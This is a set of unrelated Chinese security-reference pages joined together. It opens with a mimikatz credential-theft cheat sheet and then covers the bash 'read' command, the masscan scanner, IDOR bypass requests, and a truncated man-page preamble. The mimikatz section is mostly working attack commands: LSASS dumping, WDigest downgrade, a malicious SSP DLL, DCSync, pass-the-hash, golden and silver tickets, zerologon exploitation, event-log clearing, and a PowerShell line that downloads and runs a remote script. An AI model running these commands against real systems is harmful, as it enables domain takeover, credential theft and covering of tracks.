`!mimikatz` 载入 mimikatz ### LsassSilentProcessExit - [deepinstinct/LsassSilentProcessExit](https://github.com/deepinstinct/LsassSilentProcessExit) - 通过 SilentProcessExit 转储 LSASS ### LSASS Shtinkering - [deepinstinct/Lsass-Shtinkering](https://github.com/deepinstinct/Lsass-Shtinkering) - 滥用 Windows 错误报告服务转储 LSASS 的新方法 ### HandleKatz - [codewhitesec/HandleKatz](https://github.com/codewhitesec/HandleKatz) - 使用完全与位置无关的代码来实现了转储lsass的功能。该工具通过自己实现 PIC,不需要修改从定位表,只需要使用 .text 段,避免了全局变量或者静态变量的使用,并且还可以减少在 sysmon even 产生的日志。还通过 NtDuplicateObject 函数克隆其他已经有 lsass 进程的 handle 来绕过 sysmon 产生进程打开时的 ProcessAccess 事件。 ``` loader.exe --pid:7331 --outfile:C:\Temp\dump.obfuscated ``` --- ## 无法抓取 windows 明文密码的解决方法 ### 换个操作系统 破解 lsass.dmp 文件是需要系统内核版本 比如在 win03 系统上获取到 lsass.dmp 文件要在 win03 下运行 mimikatz 破解 ### 改注册表 在 KB2871997 之前, Mimikatz 可以直接抓取明文密码。 微软在 win7 之后就打了补丁 kb2871997,当服务器安装 KB2871997 补丁后,系统默认禁用 Wdigest Auth ,内存(lsass 进程)不再保存明文口令。Mimikatz 将读不到密码明文。 但由于一些系统服务需要用到 Wdigest Auth,所以该选项是可以手动开启的。(开启后,需要用户重新登录才能生效) 以下是支持的系统: - Windows 7 - Windows 8 - Windows 8.1 - Windows Server 2008 - Windows Server 2012 - Windows Server 2012R 2 **开启 Wdigest Auth** - cmd ```bash reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f ``` - powershell ```bash Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1 ``` - meterpreter ```bash reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogon ``` **关闭 Wdigest Auth** - cmd ```bash reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f ``` - powershell ```bash Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0 ``` - meterpreter ```bash reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCreden ``` **让管理员重新登录** 在开启 Wdigest Auth 后,需要管理员重新登录才能抓明文密码。 强制锁屏 - cmd ```bash rundll32 user32.dll,LockWorkStation ``` - powershell ```powershell Function Lock-WorkStation { $signature = @" [DllImport("user32.dll", SetLastError = true)] public static extern bool LockWorkStation(); "@ $LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru $LockWorkStation::LockWorkStation() | Out-Null } Lock-WorkStation ``` ```powershell powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://x.x.x.x/Lock-WorkStation.ps1');" ``` 重新读取,可读到明文密码。 ### ssp mimikatz 包含的 SSP 提供自动记录本地验证凭证的功能。这包括计算机账户密码、运行服务凭证和任何登录的账户。默认情况下,这些数据会被记录在与 dll 文件相同的位置上,但也可以在系统的其他地方记录这些数据。如果 Windows 系统是一个提供认证用户访问权限的域控制器,那么备用的日志位置可以在 SYSVOL 中。 ```bash privilege::debug misc::memssp ``` 记录的结果在 `c:/windows/system32/mimilsa.log` ### dll 在 mimikatz 中有 32 和 64 两个版本,安装包里分别都带有不同位数的 mimilib.dll, 将对应版本的 dll 文件复制到 c:\windows\system32 下 将注册表中 Security Packages 的值设置为 mimilib.dll ``` reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Security Packages" /t REG_MULTI_SZ /d mimilib.dll /f ``` 等待系统重启后,在 c:\windows\system32 生成文件 kiwissp.log,记录当前用户的明文口令 --- ## NTDS.DIT 使用 Mimikatz 提取 Active Directory hash ```bash privilege::debug mimikatz lsadump::lsa /inject exit sekurlsa::minidump c:\temp\lsass.dmp 使用 Mimikatz 转储 LSASS 内存 sekurlsa::logonpasswords ``` ### DCSync Mimikatz 有一个功能(dcsync),利用目录复制服务(DRS)从 NTDS.DIT 文件中检索密码哈希值。 DCSync 是 mimikatz 在 2015 年添加的一个功能,由 Benjamin DELPY gentilkiwi 和 Vincent LE TOUX 共同编写,能够用来导出域内所有用户的 hash 利用 DRS(Directory Replication Service) 协议通过 IDL_DRSGetNCChanges 从域控制器复制用户凭据 该技术消除了直接从域控制器进行认证的必要性,因为它可以从域管理员环境中属于域的任意系统执行。 运行 DCSync 需要特殊权限。管理员,域管理员或企业管理员以及域控制器计算机帐户的任何成员都能够运行 DCSync 来提取密码数据。请注意,只读域控制器不仅可以默认为用户提取密码数据。 ```bash privilege::debug lsadump::dcsync /domain:ffffffff0x.com /all /csv ``` 通过使用 /user 参数指定域用户名,Mimikatz 会将该指定用户的所有帐户信息转储包括哈希值。 ```bash lsadump::dcsync /domain:ffffffff0x.com /user:krbtgt lsadump::dcsync /domain:ffffffff0x.com /user:test ``` 可以直接在域控制器中执行 Mimikatz,通过 lsass.exe 进程 dump 密码哈希 ```bash privilege::debug lsadump::lsa /inject ``` **特权用户下** ``` runas /noprofile /user:[email protected] cmd mimikatz.exe privilege::debug "lsadump::dcsync /domain:ffffffff0x.com /all /csv" exit ``` --- ## PTH 在对 Windows 系统进行渗透测试过程中,如果获取目标机器的系统权限,则可以通过 hashdump 的方式获取目标机器历史登录信息,包括用户名和用户明文密码或者用户 hash,如果无法直接获取目标用户明文密码,则可以通过 pth 的方式远程登录目标机器 **相关文章** - [mimikatz-pth with rdp](http://rtshield.top/2019/08/31/%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7-mimikatz-pth_with_rdp/) - https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth - [Passing the hash with native RDP client (mstsc.exe)](https://edermi.github.io/post/2018/native_rdp_pass_the_hash/) - [攻击3389之PTH](https://mp.weixin.qq.com/s/mVSc5geSYwncpOda1OT-0g) **mimikatz 进行 PtH** 1. (工作组)通过 pth 进行远程登录(cmd) ```bash mimikatz.exe privilege::debug mimikatz.exe privilege::debug "sekurlsa::pth /user:用户名 /domain:目标机器IP /ntlm:密码哈希" mimikatz.exe privilege::debug "sekurlsa::pth /user:win10 /domain:192.168.1.1 /ntlm:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" net use \\192.168.1.1\c$ dir \\192.168.1.1\c$ ``` 2. (域)通过 pth 进行远程登录(cmd) ```bash mimikatz.exe privilege::debug mimikatz.exe sekurlsa::logonpasswords mimikatz.exe privilege::debug "sekurlsa::pth /domain:目标机器的域 /user:目标机器的用户名 /ntlm:用户名对应的hash" mimikatz.exe privilege::debug "sekurlsa::pth /user:win10 /domain:test.com /ntlm:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" ``` 3. 通过 pth 进行远程登录(mstsc) ```bash # 管理员权限下执行以下命令: mimikatz.exe privilege::debug "sekurlsa::pth /domain:目标机器的域 /user:目标机器的用户名 /ntlm:用户名对应的hash /run:mstsc.exe /restrictedadmin" ``` RDP 限制管理模式是建立在 Kerberos 基础上的。看一下网络流量,可以看到 RDP 客户端代表模拟的用户请求 ticket,这没有问题,因为我们只需要通过哈希来验证 Kerberos。 **受限管理模式** 通过 pth 的方式远程登录有一个限制:受限管理模式(Restricted Admin mode) - Windows8.1 和 Windows Server 2012(R2)默认支持该功能 - Win7 和 Windows Server 2008(R2)默认不支持该功能,需要安装补丁 KB2871997 和 KB2973351 1. 安装补丁 KB3126593,其原理与下述的修改注册表的原理是一致的 - https://support.microsoft.com/en-us/help/2973351/microsoft-security-advisory-registry-update-to-improve-credentials-pro 2. 修改注册表 ```bash HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa # 新建 DWORD 键值 DisableRestrictedAdmin,值为 0,代表开启;值为 1,代表关闭 REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f ``` 在获取目标系统权限之后,通过 cmd 交互,可以轻松关闭受限管理模式 3. mimikatz 修改注册表 如果你有一个用户的 NTLM 哈希值,而这个用户有设置注册表的权限,你可以使用 Powershell 来启用它,然后通过 RDP 登录。 ```bash mimikatz.exe privilege::debug "sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:powershell.exe" ``` ```bash Enter-PSSession -Computer <Target> New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" ``` 4. 使用攻击机自己的用户及 Hash 进行远程登录 ```bash mstsc.exe /restrictedadmin ``` 如果当前系统支持受限管理模式,则上述命令执行后会直接弹出远程登录的登录界面;如果当前系统不支持受限管理模式,则上述命令执行后会弹出远程桌面的参数说明 如果上述命令顺利执行,输入目标机器的 IP 和端口,可直接进行远程登录,不需要输入任何口令,这种方式会使用当前攻击机的用户名和用户 hash 尝试登录目标机器 开启 Restricted Admin mode ```bash REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f ``` --- ## PTT ### Silver_Tickets 导出 Server Hash ```bash mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > log.txt ``` 使用 mimikatz 伪造白银票据: ```bash mimikatz.exe "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit ``` **例子:访问域控上的 cifs 服务(Windoiws 主机间的文件共享)** 在域控上执行以下命令获取本地账户 NTLM Hash 和 SID ```bash mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > log.txt ``` 然后将生成白银票据注入到内存中,并查看票据生成情况。查看目标的文件共享服务成功: ```bash kerberos::golden /domain:ffffffff0x.com /sid:S-1-5-21-1112871890-2494343973-3486175548 /target:WIN-A5GPDCPJ7OT.ffffffff0x.com /rc4:f9ca454a3544172034a8666a79eda95e /service:cifs /user:test /ptt # 这里的 cifs 是指的文件共享服务,有了 cifs 服务权限,就可以访问域控制器的文件系统 ``` 访问测试 **例子:DCSync** 有 LDAP 特权情况下,可以实现 DCSync ```bash mimikatz "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:LDAP /rc4:<NTLM Hash> /user:krbtgt /ptt" "lsadump::dcsync /domain:test.com /all /csv" exit ``` - 只能在域内计算机上运行,不支持域外 - /sid 表示域的 sid, 任一域用户的 sid 去除最后一位就是域的 sid - /rc4 表示计算机帐户的 NTLM hash - /user:krbtgt 表示伪造成用户 krbtgt,生成票据 ``` mimikatz "kerberos::golden /domain:ffffffff0x.com /sid:S-1-5-21-1112871890-2494343973-3486175548 /target:WIN-A5GPDCPJ7OT.ffffffff0x.com /service:LDAP /rc4:b0924e2e9d84ba0679c59f3730e91400 /user:krbtgt /ptt" "lsadump::dcsync /domain:ffffffff0x.com /all /csv" exit ``` --- ### Golden_Tickets 在 AS_REQ & AS_REP 中,用户使用自身 hash 加密时间戳发送给 KDC,KDC 验证成功后返回用 krbtgt hash 加密的 TGT 票据。如果攻击者有 krbtgt 的 hash,就可以自己给自己签发任意用户的 tgt 票据。 先导出 krbtgt 的 hash ```bash privilege::debug lsadump::lsa /patch # 或 lsadump::dcsync /domain:<域名> /user:krbtgt ``` 使用 mimikatz 伪造的黄金票据,这里生成 Golden Ticket 不仅可以使用 aes256,也可用 krbtgt 的 NTLM hash ```bash kerberos::golden /user:<用户名> /domain:<域名> /sid:<域SID> /krbtgt:<Hash> /ticket:test.kiribi ``` 利用 mimikatz 的 kerberos::ptt 将黄金票据 test.kiribi 注入到内存中: ```bash # 清除缓存的票据 kerberos::purge # 注入黄金票据 test.kiribi kerberos::ptt test.kiribi # 列出票据 kerberos::list ``` > 导入的票据在20分钟内有效,过期之后再次导入就行 现在可以访问域控共享目录,还能在 DC 上远程执行 psexec 但是需要注意的是用 psexec 远程执行命令的时候,需要不能使用 IP 访问。使用 NetBios 的服务名访问才会走 Kerberos 认证,达到伪造凭据的攻击 **例子** 在数据库服务器上,利用域管理员的权限获得 krbtgt 的 NTLM 哈希 和 SID 使用 Mimikatz 抓取 Krbtgt 账号的密码 ```bash mimikatz.exe "lsadump::dcsync /domain:ffffffff0x.com /user:krbtgt" > log.txt ``` 得到 krbtgt 哈希之后,使用 mimikatz 的 `kerberos::golden` 生成黄金票据 `test.kiribi`: ```bash kerberos::golden /user:administrator /domain:FFFFFFFF0X.com /sid:S-1-5-21-1112871890-2494343973-3486175548 /krbtgt:743093920acd8d427323c24c0e2c52c2 /ticket:test.kiribi ``` `/admin` 为伪造的用户名,用户名可以任意伪造 `/domain` 为目标的域名 `/sid` 为目标域名的 SID `/krbtgt` 为 krbtgt 账户密码的 NTLM Hash `/ticket` 为要伪造的黄金票据的名称 注入黄金票据 ```bash kerberos::ptt test.kiribi ``` 访问测试 --- ## PTK ```bash # 获取用户的 aes key mimikatz "privilege::debug" "sekurlsa::ekeys" # 注意查看 aes256_hmac 和 aes128_hmac mimikatz "privilege::debug" "sekurlsa::pth /user:test /domain:test.com /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288" ``` 域控未打 KB2871997 补丁前,无法使用 Key 传递攻击 --- ## zerologon ```bash # 检测 lsadump::zerologon /target:WIN-A5GPDCPJ7OT.ffffffff0x.com /account:WIN-A5GPDCPJ7OT$ # 利用 lsadump::zerologon /target:WIN-A5GPDCPJ7OT.ffffffff0x.com /account:WIN-A5GPDCPJ7OT$ /exploit # 使用空密码登录域管 lsadump::dcsync /domain:ffffffff0x.com /dc:WIN-A5GPDCPJ7OT.ffffffff0x.com /user:krbtgt /authuser:WIN-A5GPDCPJ7OT$ /authdomain:ffffffff0x /authpassword:"" /authntlm # 导出hash lsadump::dcsync /domain:ffffffff0x.com /dc:WIN-A5GPDCPJ7OT.ffffffff0x.com /user:administrator /authuser:WIN-A5GPDCPJ7OT$ /authdomain:ffffffff0x /authpassword: /authntlm # 恢复密码 lsadump::postzerologon /target:192.168.141.154 /account:WIN-A5GPDCPJ7OT$ ``` --- ## 后渗透 多用户登录 3389 ``` ts::multirdp ``` 清除日志 ``` event::drop ``` 粘贴板信息 ``` misc::clip ``` --- ## 绕过RunAsPPL RunAsPPL 有效地阻止了 Mimikatz 访问的内存 lsass.exe 为此 Mimikatz 使用数字签名的驱动程序来删除内核中 Process 对象的保护标志。该文件 mimidrv.sys 必须位于当前文件夹中,以便使用 `!+` 命令作为内核驱动程序服务加载 。然后,使用命令 `!processprotect` 删除保护并最终访问 lsass.exe。 加载之后即可关闭 LSA 保护,正常 dump hash ``` mimikatz # privilege::debug mimikatz # !+ mimikatz # !processprotect /process:lsass.exe /remove mimikatz # sekurlsa::logonpasswords ``` 完成后,可以使用 `!-` 卸载驱动程序。 ``` mimikatz # !- ``` --- ## DPAPI 查看目标Windows凭据管理器中是否保存有各种系统连接账密 ``` cmdkey /l ``` 通过读取 Lsass 进程信息,获取当前系统中的 MasterKey,能获得多个 Master Key file 对应的 MasterKey ``` privilege::debug sekurlsa::dpapi ``` **RDP** Windows 保存 RDP 凭据的目录是 `C:\Users\用户名\AppData\Local\Microsoft\Credentials` 可通过命令行获取,执行: `cmdkey /list` 或 `powerpick Get-ChildItem C:\Users\用户名\AppData\Local\Microsoft\Credentials\ -Force` 注意: `cmdkey /list` 命令务必在 Session 会话下执行,system 下执行无结果。 mimikatz 获取 guidMasterKey,再通过 guid 来找到其所对应的 Masterkey ``` privilege::debug dpapi::cred /in:C:\Users\USERNAME\AppData\Local\Microsoft\Credentials\SESSIONID ``` pbData 是我们要解密的数据,guidMasterKey 是解密所需要的密钥,找到对应的 Masterkey 才能解密 根据上面的 guidMasterKey 来确定其对应的 MasterKey, 如下所示 ``` sekurlsa::dpapi ``` ``` dpapi::cred /in:C:\Users\USERNAME\Desktop\test\SESSIONID /masterkey:对应GUID的masterkey" ``` --- ## MSTSC Passwords 从 Svchost.exe Dump RDP 明文密码 ```bash privilege::debug ts::mstsc ``` 在 RDP 连接目标时才能抓出来 --- ## 防御手段 - [Secure-Win](../../Integrated/Windows/Secure-Win.md#防御密码抓取)
sec-knowleage
read === 从键盘读取变量值 ## 补充说明 **read命令** 从键盘读取变量的值,通常用在shell脚本中与用户进行交互的场合。该命令可以一次读取多个变量的值,变量和输入的值都需要使用空格隔开。在read命令后面,如果没有指定变量名,读取的数据将被自动赋值给特定的变量REPLY ### 语法 ```shell read(选项)(参数) ``` ### 选项 ```shell -p:指定读取值时的提示符; -t:指定读取值时等待的时间(秒)。 ``` ### 参数 变量:指定读取值的变量名。 ### 实例 下面的列表给出了read命令的常用方式: ```shell read 1987name 从标准输入读取输入并赋值给变量1987name。 ``` ```shell read first last 从标准输入读取输入到第一个空格或者回车,将输入的第一个单词放到变量first中,并将该行其他的输入放在变量last中。 ``` ```shell read 从标准输入读取一行并赋值给特定变量REPLY。 ``` ```shell read -a arrayname 把单词清单读入arrayname的数组里。 ``` ```shell read -p "text" 打印提示(text),等待输入,并将输入存储在REPLY中。 ``` ```shell read -r line 允许输入包含反斜杠。 ``` ```shell read -t 3 指定读取等待时间为3秒。 ``` ```shell read -n 2 var 从输入中读取两个字符并存入变量var,不需要按回车读取。 ``` ```shell read -d ":" var 用定界符“:”结束输入行。 ``` ## read命令示例 从标准输入读取输入并赋值给变量1987name。 ```shell #read 1987name #等待读取输入,直到回车后表示输入完毕,并将输入赋值给变量answer HelloWorld #控制台输入Hello #echo $1987name #打印变量 HelloWorld ``` 等待一组输入,每个单词之间使用空格隔开,直到回车结束,并分别将单词依次赋值给这三个读入变量。 ```shell #read one two three 1 2 3 #在控制台输入1 2 3,它们之间用空格隔开。 #echo "one = $one, two = $two, three = $three" one = 1, two = 2, three = 3 ``` REPLY示例 ```shell #read #等待控制台输入,并将结果赋值给特定内置变量REPLY。 This is REPLY #在控制台输入该行。 #echo $REPLY #打印输出特定内置变量REPLY,以确认是否被正确赋值。 This is REPLY ``` -p选项示例 ```shell #read -p "Enter your name: " #输出文本提示,同时等待输入,并将结果赋值给REPLY。 Enter you name: stephen #在提示文本之后输入stephen #echo $REPLY stephen ``` 等待控制台输入,并将输入信息视为数组,赋值给数组变量friends,输入信息用空格隔开数组的每个元素。 ```shell #read -a friends Tim Tom Helen #echo "They are ${friends[0]}, ${friends[1]} and ${friends[2]}." They are Tim, Tom and Helen. ``` **补充一个终端输入密码时候,不让密码显示出来的例子。** 方法1: ```shell #!/bin/bash read -p "输入密码:" -s pwd echo echo password read, is "$pwd" ``` 方法2: ```shell #!/bin/bash stty -echo read -p "输入密码:" pwd stty echo echo echo 输入完毕。 ``` 其中,选项`-echo`禁止将输出发送到终端,而选项`echo`则允许发送输出。 使用read命令从键盘读取变量值,并且将值赋给指定的变量,输入如下命令: ```shell read v1 v3 #读取变量值 ``` 执行上面的指令以后,要求键入两个数据,如下所示: ```shell Linux c+ #输入数据 ``` 完成之后,可以使用echo命令将指定的变量值输出查看,输入如下命令: ```shell echo $v1 $v3 #输出变量的值 ``` 执行输出变量值的命令以后,将显示用户所输入的数据值,如下所示: ```shell Linux c+ #输出变量值 ``` 注意:使用echo命令输出变量值时,必须在变量名前添加符号`$`。否则,echo将直接输出变量名。
sec-knowleage
--- title: masscan categories: Information Gathering tags: [masscan,portscanning,information gathering,kali linux,recon] date: 2017-04-23 11:03:41 --- 0x00 介绍 ------- 视频介绍:[https://asciinema.org/a/31820][1] masscan目前是最快的互联网端口扫描器,最快可以在六分钟内扫遍互联网。 masscan的扫描结果类似于nmap(一个很著名的端口扫描器),在内部,它更像scanrand, unicornscan, and ZMap,采用了异步传输的方式。它和这些扫描器最主要的区别是,它比这些扫描器更快。而且,masscan更加灵活,它允许自定义任意的地址范和端口范围。 <!--more--> [主页][2] | [仓库][3] - 作者:Robert Graham - 证书:GPLv2 0x01 功能 ------- masscan - 异步TCP端口扫描器 ```plain root@kali:~# masscan 用法: masscan -p80,8000-8100 10.0.0.0/8 --rate=10000 扫描一些Web端口10.x.x.x以每秒10000发包速率 masscan --nmap 列出与nmap兼容的选项 masscan -p80 10.0.0.0/8 --banners -oB <filename> 将二进制格式的扫描结果保存到<filename> masscan --open --banners --readscan <filename> -oX <savefile> 读取二进制扫描结果<filename>,并将其保存为xml格式<savefile> ``` 0x02 更多参数 ------- ```plain <ip/range> IP地址范围,有三种有效格式: 1、单独的IPv4地址 2、类似"10.0.0.1-10.0.0.233"的范围地址 3、CIDR地址 类似于"0.0.0.0/0",多个目标可以用都好隔开 -p <ports,--ports <ports>> 指定端口进行扫描 --banners 获取banner信息,支持少量的协议 --rate <packets-per-second> 指定发包的速率 -c <filename>, --conf <filename> 读取配置文件进行扫描 --echo 将当前的配置重定向到一个配置文件中 -e <ifname> , --adapter <ifname> 指定用来发包的网卡接口名称 --adapter-ip <ip-address> 指定发包的IP地址 --adapter-port <port> 指定发包的源端口 --adapter-mac <mac-address> 指定发包的源MAC地址 --router-mac <mac address> 指定网关的MAC地址 --exclude <ip/range> IP地址范围黑名单,防止masscan扫描 --excludefile <filename> 指定IP地址范围黑名单文件 --includefile,-iL <filename> 读取一个范围列表进行扫描 --ping 扫描应该包含ICMP回应请求 --append-output 以附加的形式输出到文件 --iflist 列出可用的网络接口,然后退出 --retries 发送重试的次数,以1秒为间隔 --nmap 打印与nmap兼容的相关信息 --http-user-agent <user-agent> 设置user-agent字段的值 --show [open,close] 告诉要显示的端口状态,默认是显示开放端口 --noshow [open,close] 禁用端口状态显示 --pcap <filename> 将接收到的数据包以libpcap格式存储 --regress 运行回归测试,测试扫描器是否正常运行 --ttl <num> 指定传出数据包的TTL值,默认为255 --wait <seconds> 指定发送完包之后的等待时间,默认为10秒 --offline 没有实际的发包,主要用来测试开销 -sL 不执行扫描,主要是生成一个随机地址列表 --readscan <binary-files> 读取从-oB生成的二进制文件,可以转化为XML或者JSON格式. --connection-timeout <secs> 抓取banners时指定保持TCP连接的最大秒数,默认是30秒。 ``` 0x03 教程 ------- [Masscan:最快的互联网IP端口扫描器][4] [Kali下masscan的使用][5] [基于无状态的极速扫描技术][6] [1]: https://asciinema.org/a/31820 [2]: https://github.com/robertdavidgraham/masscan [3]: http://git.kali.org/gitweb/?p=packages/masscan.git;a=summary [4]: http://www.freebuf.com/sectool/112583.html [5]: http://blog.csdn.net/isinstance/article/details/50466194 [6]: http://www.91ri.org/10800.html
sec-knowleage
# Insecure Direct Object Reference (IDOR) ## Introduction IDOR stands for Insecure Direct Object Reference is a security vulnerability in which a user is able to access and make changes to data of any other user present in the system. ## Where to find - Usually it can be found in APIs. - Check the HTTP request that contain unique ID, for example `user_id` or `id` ## How to exploit 1. Add parameters onto the endpoints for example, if there was ``` GET /api/v1/getuser HTTP/1.1 Host: example.com ... ``` Try this to bypass ``` GET /api/v1/getuser?id=1234 HTTP/1.1 Host: example.com ... ``` 2. HTTP Parameter pollution ``` POST /api/get_profile HTTP/1.1 Host: example.com ... user_id=hacker_id&user_id=victim_id ``` 3. Add .json to the endpoint ``` GET /v2/GetData/1234 HTTP/1.1 Host: example.com ... ``` Try this to bypass ``` GET /v2/GetData/1234.json HTTP/1.1 Host: example.com ... ``` 4. Test on outdated API Versions ``` POST /v2/GetData HTTP/1.1 Host: example.com ... id=123 ``` Try this to bypass ``` POST /v1/GetData HTTP/1.1 Host: example.com ... id=123 ``` 5. Wrap the ID with an array. ``` POST /api/get_profile HTTP/1.1 Host: example.com ... {"user_id":111} ``` Try this to bypass ``` POST /api/get_profile HTTP/1.1 Host: example.com ... {"id":[111]} ``` 6. Wrap the ID with a JSON object ``` POST /api/get_profile HTTP/1.1 Host: example.com ... {"user_id":111} ``` Try this to bypass ``` POST /api/get_profile HTTP/1.1 Host: example.com ... {"user_id":{"user_id":111}} ``` 7. JSON Parameter Pollution ``` POST /api/get_profile HTTP/1.1 Host: example.com ... {"user_id":"hacker_id","user_id":"victim_id"} ``` 8. Try decode the ID, if the ID encoded using md5,base64,etc ``` GET /GetUser/dmljdGltQG1haWwuY29t HTTP/1.1 Host: example.com ... ``` dmljdGltQG1haWwuY29t => [email protected] 9. If the website using GraphQL, try to find IDOR using GraphQL ``` GET /graphql HTTP/1.1 Host: example.com ... ``` ``` GET /graphql.php?query= HTTP/1.1 Host: example.com ... ``` 10. MFLAC (Missing Function Level Access Control) ``` GET /admin/profile HTTP/1.1 Host: example.com ... ``` Try this to bypass ``` GET /ADMIN/profile HTTP/1.1 Host: example.com ... ``` 11. Try to swap uuid with number ``` GET /file?id=90ri2-xozifke-29ikedaw0d HTTP/1.1 Host: example.com ... ``` Try this to bypass ``` GET /file?id=302 Host: example.com ... ``` 12. Change HTTP Method ``` GET /api/v1/users/profile/111 HTTP/1.1 Host: example.com ... ``` Try this to bypass ``` POST /api/v1/users/profile/111 HTTP/1.1 Host: example.com ... ``` 13. Path traversal ``` GET /api/v1/users/profile/victim_id HTTP/1.1 Host: example.com ... ``` Try this to bypass ``` GET /api/v1/users/profile/my_id/../victim_id HTTP/1.1 Host: example.com ... ``` 14. Change request `Content-Type` ``` GET /api/v1/users/1 HTTP/1.1 Host: example.com Content-type: application/xml ``` Try this to bypass ``` GET /api/v1/users/2 HTTP/1.1 Host: example.com Content-type: application/json ``` 15. Send wildcard instead of ID ``` GET /api/users/111 HTTP/1.1 Host: example.com ``` Try this to bypass ``` GET /api/users/* HTTP/1.1 Host: example.com ``` ``` GET /api/users/% HTTP/1.1 Host: example.com ``` ``` GET /api/users/_ HTTP/1.1 Host: example.com ``` ``` GET /api/users/. HTTP/1.1 Host: example.com ``` 16. Try google dorking to find new endpoint ## References * [@swaysThinking](https://twitter.com/swaysThinking) and other medium writeup
sec-knowleage
.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.14 .\" .\" Standard preamble: .\" ======================================================================== .de Sh \" Subsection heading .br .if t .Sp .ne 5 .PP \fB\\$1\fR .PP .. .de Sp \" Vertical space (when we can't use .PP) .if t .sp .5v .if n .sp .. .de Vb \" Begin verbatim text .ft CW .nf .ne \\$1 .. .de Ve \" End verbatim text .ft R .fi .. .\" Set up some character translations and predefined strings. \*(-- will .\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left .\" double quote, and \*(R" will give a right double quote. | will give a .\" real vertical bar. \*(C+ will give a nicer C++. Capital omega is used to .\" do unbreakable dashes and therefore won't be available. \*(C` and \*(C' .\" expand to `' in nroff, nothing in troff, for use with C<>. .tr \(*W-|\(bv\*(Tr .ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p' .ie n \{\ . ds -- \(*W- . ds PI pi . if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch . if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch . ds L" "" . ds R" "" . ds C` "" . ds C' "" 'br\} .el\{\ . ds -- \|\(em\| . ds PI \(*p . ds L" `` . ds R" '' 'br\} .\" .\" If the F register is turned on, we'll generate index entries on stderr for .\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index .\" entries marked with X<> in POD. Of course, you'll have to process the .\" output yourself in some meaningful fashion. .if \nF \{\ . de IX . tm Index:\\$1\t\\n%\t"\\$2" .. . nr % 0 . rr F .\} .\" .\" For nroff, turn off justification. Always turn off hyphenation; it makes .\" way too many mistakes in technical documents. .hy 0 .if n .na .\" .\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2). .\" Fear. Run. Save yourself. No user-serviceable parts. . \" fudge factors for nroff and troff .if n \{\ . ds #H 0 . ds #V .8m . ds #F .3m . ds #[ \f1 . ds #] \fP .\} .if t \{\ . ds #H ((1u-(\\\\n(.fu%2u))*.13m) . ds #V .6m . ds #F 0 . ds #[ \& . ds #] \& .\} . \" simple accents for nroff and troff .if n \{\ . ds ' \& . ds ` \& . ds ^ \& . ds , \& . ds ~ ~ . ds / .\} .if t \{\ . ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u" . ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u' . ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u' . ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u' . ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u' . ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u' .\} . \" troff and (daisy-wheel) nroff accents .ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V' .ds 8 \h'\*(#H'\(*b\h'-\*(#H' .ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#] .ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H' .ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u' .ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#] .ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#] .ds ae a\h'-(\w'a'u*4/10)'e .ds Ae A\h'-(\w'A'u*4/10)'E . \" corrections for 